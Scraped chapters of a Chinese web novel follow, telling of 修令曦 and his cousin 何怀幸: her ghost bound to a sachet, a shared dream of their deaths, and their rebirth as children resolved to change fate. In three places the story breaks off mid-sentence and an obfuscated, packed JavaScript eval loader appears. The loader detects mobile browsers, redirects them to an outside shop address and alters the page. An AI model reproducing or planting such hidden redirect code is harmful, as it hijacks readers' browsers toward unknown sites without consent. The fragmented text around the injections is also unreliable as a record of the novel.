看他略带迟疑的表情,修令曦感觉不止三个版本。 申无非又说:“你别打断我,听我说完,一打断我,我就不知道从哪开始说起了。” 修令曦点头道好,既如此,他也懒得再追问了,静静听他道来。 申无非摆出说书先生的架势,摇头晃脑道:“这第一个版本就是你和满铮的了。说是在乌城时,你们俩情投意合,又一起带兵救援银城,于是她亲手做了这个香囊送给你,你们二人志同道合,情比金坚。奈何你领汝南军盘踞西城,满铮驻守北海关,于是分道扬镳了。” 不知道是不是修令曦的错觉,他感觉说前面那些莫须有的东西时申无非在暗暗瞪他,说到最后语气也不同了,好像听了个皆大欢喜的故事。 修令曦眉头皱得厉害,“我和满铮?你从哪里听来的这些乱七八糟的东西?” 申无非挂着一张脸,道:“怎么?难道满铮不好?” 修令曦肃色道:“我不是那个意思。” 看申无非的表情,他才恍然,故作神秘道:“你有没有闻到什么味道?” 申无非问:“什么味道?” 修令曦道:“酸溜溜的醋味。” 申无非收回表情,“我就多余问这一句。” 申无非气都不带喘的,有声有色地继续说:“第二个版本就是跟康平公主的,说你之前出入宫闱时,康平公主正巧也在,你们一见钟情,互相倾心。可惜家国有难,你随军出征,离开的前一夜,公主托人送了这个香囊,从此你封心,只待扫平蛮夷,早日与公主完婚,康平公主为了等你,也至今未嫁。” 何怀幸本来状态不佳,透明的身体,虚虚靠着修令曦,听申无非绘声绘色讲了这么一大串,在一旁不由捧腹大笑,精神也好多了。 申无非说完一脸意犹未尽,沉浸其中,还想往下说,修令曦赶紧叫停,“我在京那些年,与康平公主不过才几面之缘,说过的话,两只手都数得过来。康平公主至今未嫁,是因为她师从不藏道长,以传承自在观为己任。” 修令曦无奈摇头,正色道:“满铮是豪杰,论刀法你未必比得过她,这么编排她,要是传到她耳朵里,小心她用她那把弯月刀削你。” 申无非缩了缩脖子,双满铮那小心眼的性子,他是从小就吃过亏的,委屈道:“这可不是我编的,再说了,也是你让我说的,要挨打也有你的一份。” 后面的话,声音越说越小。 何怀幸笑得花枝乱颤,问最后一个版本。 修令曦无视他不满的嘀咕,问道:“第三个版本呢,还有什么?” 申无非闹脾气,不肯说了。 修令曦知道他的性子,便作势要忙公务,说:“好吧,不说就算了,你下去吧,我还有军务要忙。” “你不听了?” “不听了。” “你不听我偏要说。” 何怀幸想,这人怎么跟个小孩似的,可真有趣。 申无非嚷嚷着要说,他这人想说的话不说完,会憋的一晚上睡不着觉,半夜都要把人拉起说完。 修令曦放下折子,抿唇笑道:“那你说,我听着。” 见修令曦愿意听他继续讲,他又摆起架势,嘿嘿两声,道:“这第三版就是说,你以前在将军府,和你那位表妹的了……话说我记得你之前是不是说过,香囊是她送的?” 申无非摸着下巴思考。 修令曦眼底闪过一丝不易察觉的情绪,但很快恢复如常,道:“是。” 何怀幸一愣。 她? “说你那个小表妹在将军府孤苦无依,那时候你还是受宠的小公子,便时常关照那位表妹,再后来你不受大将军待见……” 说到这,申无非偷偷看了眼修令曦,虽然修令曦现在和他们一家再无瓜葛,但毕竟之前那事闹得沸沸扬扬,他怕修令曦介意,见他面色无异,才继续道:“那位表妹常宽慰你,你们二人青梅竹马,这一来二去,难免心生爱恋,于是暗许终身。可惜天不遂人愿,表妹被迫出嫁,香消玉殒,所以香囊,你时刻带在身边。” 申无非讲得入情,扼腕叹息,最后还要感叹:“真是一段感人肺腑的故事啊。可惜天妒红颜啊。” 何怀幸目瞪口呆,这编的够离谱的,不过也算是说准了一些,那两年她可没少安慰她表哥,可惜人家不领情,想到这,她皱了皱鼻子,朝修令曦重重哼一声,“不识好人心的家伙。” 修令曦侧头,身旁空荡荡的,他的心泛起一种莫名的情绪,那种感觉,就像飘在水面的落叶,豆大的雨点无止境敲打着,令人沉沉浮浮,目光又习惯性落在案上的香囊。 申无非没听到回应,回过神,见他神情落寞,循着他的视线看过去,最后落在香囊上。 申无非心想:坏了,不会真说中了吧! 那岂不是戳中他伤心事。 他小心喊道:“云頫,你怎么了?” 修令曦收回视线,抬眼看他,漫不经心道:“看来你平时挺闲的,城防正好缺巡逻的人,你去顶吧。” 他这是公报私仇! 申无非“啊”了一声,哀嚎道:“别啊,我还得监督粮草呢。” 修令曦头也不抬说:“不是有宣校尉吗?你放心去吧。这些轶事让他们别传了,满铮如今是将军,她和公主皆是令人敬佩的女子,岂可随意被人编排这些花边轶闻。传令下去,以后军中禁止编排这些损人清誉的瞎话。” “是,领命。” 申无非委屈巴巴受命,眼底却闪过一丝狡黠,他叹了叹气,认命般的去巡逻了。 修令曦摩挲着香囊上的绣花,时间太久,有些线断了,香囊表面翘起来几根青绿色的绣线,何怀幸女工做的的确不怎么样,竹子干绣的有点歪扭。 修令曦心里想着申无非说的那则轶事,他现在很少回忆往事,故事里表妹多得他关照,可事实上,他还是将军府小公子的那些年,他没有同她说过一句话,甚至后来她的宽慰,他都冷眼相对。 何怀幸不知他在想什么,她喊了一声,修令曦却像没听见。 她的声音变得很微弱,何怀幸才发现修令曦早就看不见她了。 而她也已经支撑不住了,魂体飘忽不定,最后消散。 修令曦捏着香囊,迟疑着靠近,闻到极其浅的艾香,平实质朴,似有若无。 何怀幸再次醒过来时,修令曦已经回到京都,他住在老师府上,师生多年未见,段蘅拉着他秉烛夜谈,又不免问起他的终身大事。 修令曦道:“我心有挂碍,不欲成婚。” 但无论老师怎么问他,修令曦都说不出个所以然来,最后段蘅也只好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这时不知从哪里跑出来个衣衫不整的人,冲到两人跟前,抢走香囊,一溜烟儿跑了。 速度之快,让人来不及反应。 南宫玉女惊呼道:“师叔!” 修令曦一听连忙追上去,转了几个弯,人已不见踪影。 他不熟悉道观内的地形,那人身手又太快。 他太大意了,连有人靠近,他都没发现。 修令曦有些泄气,顿住脚步,折返去找南宫玉女。 “他是你师叔?” “是,不过他已经疯了,回来受了些刺激,便神志不清了,”南宫玉女觉得奇怪,“但他平时不会到这里来,都是在后殿。” 修令曦眉宇间笼罩着担忧,南宫玉女安慰道:“你别着急,我师叔常去的地方就那几个,他不会去别的地方的,走,我带你去找。” 修令曦心中闪过一丝不安,皱着眉,跟上她的脚步。 果然两人在后面的三元湖找到了他,那人头发乱糟糟,嘴里念念叨叨的。 隔得太远,修令曦听不清,他看了眼康平公主。 南宫玉女嘱咐道:“动作轻点,别吓到我师叔。” 修令曦点头,轻手轻脚走过去。 那人干裂的嘴唇翕张,说的含糊不清,断断续续。 “……身已死…神既灵…魂魄归兮…起死成人……” 修令曦小心翼翼靠近后,想拿回香囊。 不料,那人遽然发抖,甩手将香囊扔向湖中。 修令曦惊愕失色,不管不顾,纵身越入水中,去捞那只旧香囊。 修令曦握住手中的香囊游回岸边,浑身湿透,水嘀嗒落下。 他抬头,箭矢如雨。 南宫玉女已不见踪影。 那位师叔坐在地上,蓬头垢面大笑,一支利箭穿透他的身体。 笑声戛然而止,他瞪着眼睛,嘴角的弧度极其怪异,倒地而亡。 暗处早就围了一圈弓箭手,此刻全部现身,步步紧逼。 修令曦一看便知,这些杀手绝不简单。 三元湖周围没有遮挡物可以藏身,他赤手空拳,如何抵抗。 修令曦身中数箭,跌落湖中,身体不断下沉。 血色在湖面晕开,新鲜的血液从他身体各个地方跑出来,在水中丝丝缕缕漂浮,像绣线一样缠绕融合。 他还抓着香囊,绿色流苏在水中散开,染上了血的颜色。 恍恍惚惚间,他看见一个少女,她拽着他的手想拉他,却跟他一起沉入湖底。 他想让她快走,想跟她说,放手吧,别管他了。 可是他什么也说不出来,什么也看不见了。 24. 梦蘧 深睡中的人面色不安,微微张开嘴发出呜咽声,肩膀颤抖着,眼泪不自觉流出来顺着眼角滑落至她乌黑的鬓角消失不见。 一滴苦涩的泪蜿蜒进她嘴巴里,她忽地浑身一激灵,身体不受控制般大幅度抖动了一下。 何怀幸在黑暗中蓦地睁开眼睛,她抽泣着不可置信地缓缓抬起手抹了一把残留的泪,在一片漆黑里她望着手心一脸怔然。 梦太真实了,以至于此时,她尚有些分不清,自己在现实还是梦境。 她心跳得厉害,异常的疲惫感袭来,何怀幸咽下嘴里的苦涩,茫然起身摸着自己心口的位置,借着窗轩外极微弱的光,拉下领口细细看——黑暗中左胸口那块皮肤白净光洁,毫无受过伤的迹象。 何怀幸长舒一口气,假的假的,她在心里如此安慰自己。 外面远远传来打更声,现在才四更天。 撑在身后曲肘的那只手此刻不堪负重颤抖着,身体摇摇欲坠,黑暗笼罩她,让她觉得可怖,后脊一片发凉,她抱紧自己颤动的身体慢慢滑进被褥,整个人蜷缩起来,她有些心神不宁,但架不住困意,又惴惴不安昏睡过去。 梦境纷乱一幕幕如走马灯在她脑海里不停闪过。 何怀幸浑身战栗,心口恍然间剧痛,她紧紧抓着胸前的衣襟喘不上气,一吸气胸口便刺痛异常,痛到她不得不弓起背。 脑海中浮现的是她从未去过、也从未见过的天地人间。 漫天的黄沙飞扬,残阳如血,筚篥声悠长,寒月被远远抛在身后,陡峭峰峦相聚,柳絮飘飞,她孤身伫立,此时天地间万籁俱寂,粉白的杏花覆着薄雪白霜,冰凉的雪粒子夹杂花香漫天匝地扑到跟前迷了人眼。 她再睁眼时是延绵到天际的原野,野草疯长,北雁南飞,天地辽阔只有衰败的灰黄,荒原望不到边,脚下的土地寸寸坍塌,她像个无头苍蝇没有方向地狂跑。 她惊恐失足坠下深渊,努力伸出手却什么也抓不住,风从她指间穿流而过,她不停地坠落,底下是悬崖裂谷滚滚急湍,浪涛似箭若奔…… 失重和不安持续着,何怀幸猛然惊醒,神魂未定大口喘息。 混乱的梦境除去世间万象。 还有…… 她二哥,修令曦。 记忆中的他愈发稳重,令她感到陌生,何怀幸印象里的他始终是那个在将军府总是一脸冷淡的小少年。 梦中他身中数箭,落湖而亡,一切都在此静止,时间不再流逝,巨大的洪流席卷把他们吞没。 高墙外打更人走过,已是五更天了。 疼痛逐渐消退,何怀幸身上冷汗涔涔,额头上细细密密的汗,她分不清那究竟是梦,还是她真的死过一遭? 是黄粱一梦,还是二十年烂柯人? 她不知。 人世大梦,或如庄周梦蝶。 何怀幸睁着眼睛,脸色苍白,她虚脱无力,趴在塌上于黑暗静静等待天光冲破暗夜。 直到?晨曦微露?,她推开门走到了修令曦门前,敲了几下门却无人应,何怀幸从门缝中撬动木栓,直接推门进去了。 她浑浑噩噩不知道自己为什么有如此突兀的行为,只知道现在她要看见二哥出现在她面前。 晦暗的屋内,何怀幸声音颤抖,叫了一声:“二哥。” 无人应答。 床榻上躺着的人一动不动。 秋冬霜重,何怀幸浑身发冷抖得不行,牙关一直打颤。她靠近塌上的人,冰冷的手从他脸颊擦过去探他的鼻息。 温热的鼻息涌出,她松了一口气,克制不住的身体也奇迹般一下子就不再剧烈抖动。 何怀幸碰了碰他的额头和脸烫得吓人,被褥盖着的身体却不停地打哆嗦,人也神志不清,她跑去把自己的那床棉被也拿来给他盖上。 他还是冷得厉害。 何怀幸急得转圈,又跑回去掏出床底下的手炉到厨房找碳火,趁着没人她赶紧溜进去,在灶头里用火钳挑挑拣拣,夹了几块烧旺的木炭放进手炉。 这炭熏人,她用旧衣服裹着放进修令曦被褥里,又拍湿巾帕放额头给他敷上。 阴寒的天朦朦亮,何怀幸摸出府上医馆给修令曦开药,大夫依据她的描述开了几副小柴胡汤药,她拿回来煎好给他喝。 喂完药,何怀幸守在塌前脑袋里一团糊浆,千丝万缕的线缠绕着解不开,她拿了原先送给二哥的香囊仔仔细细看,无论如何都看不出什么花样,和普通配饰的香囊并无二致。 非要说特殊,只能说绣得不够美观,仅此而已。 何怀幸把香囊放回原处,起身的时候头晕目眩,眼前一黑。 她扶住塌边支撑身体,缓过神后重新坐下,许多记忆扑面而来,那种似曾相识的感觉越发强烈。 她只觉得头痛得厉害,掌根用力摁住两边的太阳穴,脑袋嗡嗡响,每一根神经像被人硬生生扯断,痛感越来越强烈。 那些画面一帧帧在脑海里浮现,像一块巨大的幕布蒙住了她的双眼。 她视线变得越来越模糊,一闭眼眩晕的感觉就十分强烈,疼痛重压力之下,她用仅存的一丝意识强睁眼,撑在塌沿的手颤抖不止。 此时的她浑身无力,滑跪在地上,何怀幸微微侧身将额头抵在塌上,意识逐渐消散。 修令曦跪了一夜,受了一夜的寒,不过是在何怀幸后脚来之前撑着点意识摸回自己的屋内,一躺下就昏睡过去了,现下仍未醒过来。 他喘着气,呼吸变得急促,梦中另一双痛苦含泪的眼睛与他对望。 那是怀幸。 他眼看她被绑上了花轿,迎亲队伍一路吹吹打打,修令曦透过红布看清她在轿中盖着喜帕压声痛哭的脸。 新郎官眉宇间一片阴翳,回头看向喜轿时,眼中凛冽如霜。 修令曦想不通,成亲怎么会是一副这样的表情? 队伍日夜兼程,马不停蹄南下。 在途径南州关时碰上了贼寇,那人把怀幸从花轿里拉出来,却没有看到花轿后窜出一个贼寇握着刀冲上来。 修令曦想提醒他们,可自己说不了话,眼看刀尖直直逼近,他急得挡在她身后。 一切都是徒劳。 她踉跄了两步,他清清楚楚看见她的神情是那么痛苦。 她几乎站不稳,修令曦伸手想扶她,根本触碰不到她,风轻轻掀起她的红盖头,她张了张嘴,似乎想说话,修令曦低头靠近虚扶着她。 明明气若游丝又好似亲密的呢喃。 她说:“……真好……不用……嫁人…了…” 她脸上的表情平静,嘴角勾起一个极其微小的弧度,眼泪轻轻滑落,红色的喜布再次覆住她的脸。 新郎官在一旁不敢靠近,冷静地看着新娘的尸体,那双丹凤眼里透露出迷茫,弥漫着一种让人探究不清的情绪。 修令曦想触碰的手又缩回来,他不敢相信。 怀幸死了! 就死在他面前。 周遭混乱不堪,修令曦停留在原地动不了,因为那双眼睛,实在太难忘了。 痛苦、悲伤、不甘、挣扎、释然…… 梦境抽离,暗夜中修令曦惊坐起,心情久久不能平静。 这个梦实在太过于真实了,想起那双眼睛,他心就慌得厉害。 他记起来从前那双望着他的杏眼里带着温柔的光,似小鹿般那么的生动。 他起身点着蜡烛坐到案前,拿起随身携带的香囊,艾香发散,令人头脑清醒,却遏制不住人的情绪,许多过往的记忆涌现。 他手里握着香囊呆坐,后半夜不曾入睡,等到晨光熹微他疾驰回城,去相府归还了马匹。 回到将军府尚不到两刻钟,父亲踹开门把他拎出门外,将他甩在石板上叫他跪下,愤怒地斥责他昨夜私自入营中。 父亲愤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何怀幸趴在他背上,少年并不宽厚的背却异常稳,他尽力把颠簸感减到最小,脚步又稳又快,她伏在他肩头还陷在梦中,直到看清他削瘦秀气的侧容,才恍然觉察,她浑浑噩噩问:“而今,是哪一年?” 她的声音很小,风一吹就散了,幸好两人靠的近修令曦还是听见了,他喘着气回道:“而今是惠仁十一年,十月十七日。” 他来不及细想,背着人到相府门口求救,自己也力竭了,半跪在府门前,何怀幸便从他身上翻下来倒在地上,她曲手撑地跪着,修令曦又连忙去接住她,两个半大的孩子就这样双双伏跪在地。 昨日办完拜师宴,怕他认生,刘管家领着修令曦在府里走了一遭,也让其他人认个脸,门前仆从认出他,连忙将两人抱了进去。 修令曦还没完全退烧,灌了汤药下去睡着了,另一边府医给何怀幸下了几针,但是不管用,仍然痛得不行,针完反而跳痛更频繁。 银针刺在她头顶和两侧,她却想呕得厉害,大夫不得不取了针。 她整个头痛得几乎要裂开,脑袋里像有人不停放大鞭炮似的,炸个没完没了。 最后没等大夫想出办法,她昏昏沉沉睡着了,一直到天完全暗了。 她睡了将近五个时辰。 修令曦在床旁守着她,等她醒过来头已经不痛了。 “二哥在看什么?” 何怀幸对上他落在她脸上的视线。 修令曦轻摇头,“还痛吗?” 何怀幸一怔,眼前一切都暗了下来,稚嫩的嗓音和脑海中清冽的声线重合。 “二哥问的是什么?” “头,”修令曦说:“头还痛吗?” 何怀幸微晃头,“不痛了。” 25. 坦白 何怀幸别过脸不看他,低垂眼睑,攥紧自己的手盯着手心的掌纹,好像在发呆。 修令曦顺着她的视线凑近问:“怀幸,你怎么了?” “我没事。”何怀幸抬头与他对视,问:“二哥好些了吗?” 两人之间几寸的距离,修令曦猝不及防撞进她的眼眸中,霎时间失了神,那双眼睛温和平静恍若清澈的潭水,可是静得不同寻常,底下似乎藏着惊涛骇浪。 他心一恸,看着眼前不过十岁的小姑娘,想起的是记忆深处穿着一身水蓝衫裙,站在他身边朝他笑靥如花的女子。 “二哥?” 何怀幸蹙眉,他的眼神太陌生,幽静的目光像是透过她在看谁。 这一声二哥拉回修令曦的思绪,他望着她张口欲言又止。 他该怎么说,其实他们并非兄妹。 两人不过一岁之差,此时的二哥在她面前不过是个总角小儿是藏不住什么东西的,她洞悉他的犹豫,“二哥有话不妨直说。” 修令曦却又不说了。 “我们回吧。” 何怀幸看了他一眼,“嗯。” 段蘅叫人套了马车,让刘管家送他们回将军府。 离开前,何怀幸朝他深深拜了一礼才随修令曦上了马车。 出府一事早就传到大夫人那,前脚两人才回来,后脚舅母的人就到了,把他们请去了祠堂。 何怀幸跪在地上,两名侍女押着她叫她动弹不得,邓嬷嬷拽过她的手臂,用力掰开她的手绷直,恶狠狠捏住她几根手指,拿起戒尺重重打在她掌心。 木戒尺打在皮肉上发出沉闷的声音,很快她的手心红肿一片,何怀幸忍着痛躬起背,右手颤抖不止,另外一只手攥紧了自己的衣裳,她眼角湿润但愣是没掉一滴眼泪下来。 修令曦被几个家丁钳制在一旁,将军府的家丁是训练过的,他现在不过是个十来岁的孩子,再勇武也无法从这么多人手里挣脱,只能眼睁睁看着。 “别打了,嬷嬷!嬷嬷——是我带她出去的,跟表妹没有关系,要打就打我一个人,别为难她!” 修令曦奋力挣扎叫嚷着,几个人差点没控住,其中一人朝他膝盖弯踩了一脚,他们将他按在地上不能动弹。 邓嬷嬷打得身体微微发汗,喟叹一声停下,示意侍女松开她,她把戒尺放在一边悠悠道:“二公子心急什么,你的错自有将军来办,托表小姐母亲的福,私带咱们府上女眷出逃可是大罪,二公子你的惩戒是逃不掉的,放宽心。” 说到何怀幸母亲时,邓嬷嬷的目光落在何怀幸身上十分憎恶嫌弃。 “我们不是私逃出府,是我身体不适,二哥带我寻医。” 何怀幸声音微弱,纤细的手通红一片,已经肿了。 “那又如何?”邓嬷嬷反问,指着她说:“未曾向大夫人禀报,那就是私逃!” 何怀幸躬着背嗤笑出声,肩头轻颤,手已经痛得麻木,掌心火辣的胀痛。 “说了有用吗?幼年病时,舅母何曾管过。” 邓嬷嬷睥睨着她,恶声说:“表小姐合该有点羞耻心才是,莫像你母亲那般!你寄人篱下就该少惹麻烦!大夫人没有义务照看你,留你在府予你庇护供你吃喝,已莫大的恩情,小姐不谨记在心,反生怨恨,真是叫人凉了心,老奴都替夫人不值,多年劳心养出个白眼狼!” 何怀幸面色愠怒却无可辩驳,一衣一饭之恩,她确实受了这些年。她扫过面前的牌位,母亲的牌位不被允许放在府中祠堂,送去了观中,却不知是哪一座观,她从未得知过确切的消息。 她垂下头安分跪着,不再言语。 修文怒气冲冲到了祠堂,朝着修令曦就是一脚踹过去。 “竖子尔敢!污我门楣!” 修文人高马大,威猛非凡,这一脚连带着修令曦旁边几个家丁也跟着齐齐倒地。 “唔……”修令曦蜷缩在地上,在痛楚中将目光投向修文,那眼中含着复杂不清的情感,他半跪在地上,道:“见过……将军。” 他不再叫父亲了。 修文冷眼看他,昨日气未消,今日他又行如此不规矩之事,心中对修令曦更是厌恶。 每次看见他,修文就会想起自己像个二傻子被人耍得团团转,一个低贱舞女他那么爱重她,她不对他感恩戴德,竟敢背叛他! 心爱的女人背叛了他,付出真心养大的儿子竟然也是别人的种,这么多年的尽心教导,像是嘲弄他的愚蠢和无能。 如此想着,刹时心中便又是恨意蔓延。 “舅舅!” 何怀幸冲上前拦在修令曦身前,修文的拳头在半空中停住,从紧握的拳头中用力抽出一根食指,指着她大声叱道:“怀幸,你这是想干什么?你不安安分分待在府里学你的女红,胆敢私逃?难不成你还要像你母亲那样?!明日让你舅母派人再好好教教你规矩,简直太不像话了!” “舅舅,二哥还病着,别打他了。”何怀幸跪下来仰头看着修文,又埋首下去说:“是我的错,是我求的哥哥带我出府,是我缠他,他不得已才答应,要罚就罚我一个人。” 修文怒目而视,但也没再动手,重重哼了一声,尽是嘲讽,不屑再多看她一眼,甩手转身离开了。 最后祠堂只剩下他们两个人,何怀幸缓慢站起身,修令曦始终盯着眼前背对着他的何怀幸,瘦小纤弱的身躯挡在他面前,让他想起过去许多时刻她总在他低迷彷徨时坚定地拉着他往前走一样。 一样的那么冷静,一样的那么坚不可摧。 让他常常忘了她的脆弱。 他爬起来去看她手,那只手又红又肿,他把她的手放在自己手上,他们年岁相差不大,现在他们的手其实差不多大小,可修令曦看着总觉得这只手很小,尤其他现在面对的是只有十岁的何怀幸。 一滴眼泪毫无征兆掉在她手心。 潮湿,温热。 他捧着她的手轻轻吹气,问:“痛吗?” 何怀幸微不可察地抖了一下,深深望着他,修令曦外面罩了件泛旧的蓝衫,少年眉宇间尚显青涩,他没有束发,乌发就那么半散着搭在肩后,与记忆中的人相比,平白添了份柔美,那双眼睛不似她记忆中的藏着锋芒,直直望过来,如水波般柔和。 修令曦湿润的眼睛奇怪地看着她,问:“你在看什么?” 她意识到自己有些失态,摇了摇头,说:“我没事,现在不痛了。” “你骗我。”修令曦根本不信。 何怀幸却笑了,“嗯,骗你。” 修令曦仿佛受到惊吓一般,含着眼泪不可置信看着她。 这个说话的语调和他记忆中十岁的表妹完全不同,而是像……从前死去之后,化作鬼魂和他在边境携手进退的怀幸。 “你——” 何怀幸不说话,只是看着他。 两人心中皆已明了。 一阵寒风吹进,帘帷轻晃,幽暗的祠堂里,二人相对,跪坐在蒲团上,久久沉默。 修令曦喑涩道:“对不起。” 何怀幸面带疑惑,道:“二哥为什么道歉?你没有什么对不起我的。” 可修令曦心中自觉有愧,始终对她早逝一事无法释怀,他喉咙发紧,喑痖道:“我们自小相识,你待我如亲兄长,可我常恶语相加,后来更是对你不管不顾,从未曾关照过你,直到你……” 他不敢再往下说,他害怕说出口的谶言会再次应验到她身上。 何怀幸摇头,说:“二哥不必自责,并不是你的错,既是前世梦,就当如烟云,随风去吧。” 修令曦没应,小心搀扶起她,“我带你回去上药。” 何怀幸问:“你怎么样?” 舅舅那一脚踹得不轻,肯定会有淤伤。 修令曦只道:“无事。” 回到修令曦的屋内,打翻的暖炉还在地上,他捡起来拍干净灰先放到了一边,取出膏药瓶,用骨片挑出药膏涂抹在何怀幸手上。 “这药是当年我随军北上时不慎磕伤膝盖用的,可活血消肿,涂了它好得快,明日就没那么疼了。” 膏药抹上去冰冰凉凉的,自带一股草木的芳香。 修令曦涂得很仔细,白黄色的膏药一点点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349343|199583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 覆盖她的手心。 “切忌沾水,一定要注意。” 何怀幸轻声应下,又似不经意般问道:“二哥,对梦境可有什么看法?你觉得,是真的还是……只是一场梦?” 修令曦收好药膏,关上柜子。 “我不知,但你一定要活着,”他回过头认真凝视她,郑重地说:“我希望这一次,你活的自由。我会尽全力保护你。” 何怀幸坐在塌上,没有说话,只看着他略显瘦弱单薄的身影在屋里走来走去。 修令曦拿了暖炉出去,没一会儿他捧着手炉走进来,何怀幸问道:“你都梦见了什么?” 修令曦把暖炉递给她,何怀幸抱着手炉搂在怀里,冰凉的手逐渐暖起来。 “我梦见你被绑着出嫁,却在途中遇害,那时你才及笄……之后你依托在当年我十岁生辰你送我的香囊里出现在我房中,后来我随军北上,我们一路相伴,直到我亡于京都。” 修令曦在她旁边坐下,简述完看向她。 何怀幸默了一瞬,道:“我们的梦是一样的。” 修令曦说:“所以,你也知道,我们并非兄妹。” 何怀幸点头,说:“四王爷才是你的生身父亲。想必舅舅也是因为知晓你非他所出,后来才会有那般行径。” 舅舅向来奉行男子主义,怎么可能忍受这种事情发生在自己身上,对她舅舅那种一贯霸权的人来说,简直是奇耻大辱,能留他一命已是最大的退步,又怎么会让他好过。 何怀幸轻蹙眉道:“只是我总觉得,这件事情并不像表面那么简单。” 修令曦道:“四王爷意在社稷之位,现在也有意拉拢你舅舅。” 何怀幸直言道:“恐怕早就已经是蛇鼠一窝了。康平公主深居简出,潜心修习道法,道观的暗杀想必也和他们脱不了干系。” 修令曦眉头紧锁,思索不言。 何怀幸又道:“二哥,我们须得去趟观中,香囊定有玄机。” 修令曦赞同,说:“你说得对,但此事也急不得,得找到合适的机会。” “嗯。” 何怀幸捂着手炉,屋内再次安静下来,良久,她问:“假如这一切只是命运的预警,是不是意味命运原本的轨迹可以被改变?如果改变,那,神罚会是什么?” 修令曦下意识握住挂在腰间的香囊,沉思片刻道:“但如果这也是命运的一环呢?” 何怀幸眉头皱得厉害,头隐隐作痛,许多记忆在她脑海里闪现,快得看不清,但感觉又那么真实。 “我真的有些分不清梦和现实了。” 修令曦没接话,这个梦对他来说也同样不可思议,只是他烧得迷迷糊糊,醒过来整个人像是从溺亡的水里被解救出来,更多的是惊吓后的释然。 他道:“既然是重来的机会,那我们就有改变结局的可能。” “二哥说得对,这一次无论如何我一定要活下去。”何怀幸说:“二哥教我念书习字吧。” 修令曦应下,道了声“好”。 她把手炉递给修令曦用,他摇头说不用,何怀幸说:“夜寒,二哥还病着,你用吧。况且我要不到精炭,留着也只是个空壳子,要不是你病了冷得厉害,我都没想起来这暖炉,一直搁床底下吃灰呢。” 修令曦显然不知道这回事,惊道:“大夫人不给你拨炭的份例吗?” 何怀幸已经习以为常,平静道:“是呀,我从来就没有过。” 修令曦不敢想象过去那些严冬寒夜里,她是怎么艰难熬过来的。 何怀幸捧着手炉,精雕细刻的花鸟纹很漂亮,她摩挲着花纹说:“可惜白瞎了一份好心,没福气用上。” “不是的,”修令曦摇头,内疚道:“怪我考虑不周全,忽略了这件事情。” 他抬头看她,郑重其事说:“怀幸,你一定会是最有福气的人。” 修令曦攥住她的手腕,说:“把我的福气都给你。” 何怀幸怔愣地看着他。 原来,是你送的。 她露出一个笑,用力点头,说:“福分,我收到了。” 26. 相伴 因着右手不便,何怀幸闲来无事时就练习用左手,在府里的角落捡了根细细的竹枝杆,蹲在地上写字,不厌其烦地写下那些歪歪扭扭的字。 才过午后,舅母让嬷嬷送了女则诫文来,罚她抄上百遍,又扣了她往后的例银。 何怀幸跪地双手高高举着诫文低头应下,待人走后,她面无表情起身,书册被她随手放在桌案上,她翻了翻,眉头紧皱,只粗看了大半,诫文多用通俗易懂的字句,没有生僻或难解的字眼,无非是要女子应该听从家中父叔兄弟,以及婚嫁、敬夫、守贞守忠等等事宜。 她越看越气,粗粗翻完合上厚的像块砖头的书,心中不甘,凭什么女子有那么多规矩限制,既有女则女诫,又何不能有男德男训? 要女子守贞,言贞洁大过命,失贞则死,简直是在放屁! 那毁人贞洁者何不死? 贞洁怎么能大过生死? 没有什么比活着重要,她太清楚活着是一件多么难得的幸事。 世道何其不公啊! 男子浪荡是可以炫耀的艳事,女子凡事行差踏错一步,便是人人啐骂,凭什么? 凭什么! 忠贞既然要冠上性别,又为什么要抹去他们的存在? 这个世道给她们的限制太多,包容太少,而给予她们的苦难则更多。 她们总是被困住。 何怀幸越想越恨,书页被她一点点撕碎。 余晖收尽,天幕缓慢垂落下来,笼罩天地。 她不想一生被困在四四方方的围墙里,她要去的是辽阔天地。 ——她要的是自由选择的权力! 满腔恨意抛洒,落了一地的碎纸屑。 天光殆尽,门外响起敲叩声。 “进——” 里面的人声音疏离清冷。 修令曦走进来时,怀幸坐在桌案后,昏黑的屋内看不清楚她的脸,唯一的光是窗棂外还没有完全暗下去的天色,浅淡的光隐约勾勒出她的身形,他才得以辨出何怀幸在屋内方向。 她靠坐在木椅上,静静不语,表情讳莫如深。 屋内满地的碎纸片,修令曦脚下踩到碎屑,出声询问:“怎么了?怎么不点灯一个人坐在这乌漆麻黑的?” 何怀幸冷声道:“无事。” 修令曦替她在屋内掌起灯,红烛摇曳中,她的脸庞被照亮,暖烛驱散她脸上原本的阴翳,她淡声问道:“二哥何事?” “你要的书,我给你带来了。” 他手上拎着一摞书,是她想要的那些诗文史论。 烛光照亮了整个屋子,修令曦也看清了地上堆洒的纸屑,他将桌案上的纸屑挥掉,把书册放在上面,问道:“可用了晚膳?” 何怀幸摆弄着他带回的书边摇头,今日她没去厨房领餐食,现下已经过了时辰,厨房肯定不会留她的份了。 “不想吃,没胃口。” “你等我一下。” “嗯?”何怀幸疑惑地抬头看他,人就走出屋去了。 修令曦很快又回来了,把油纸包的点心放在桌上,说:“夜还长,多少吃些点心垫垫肚子。” 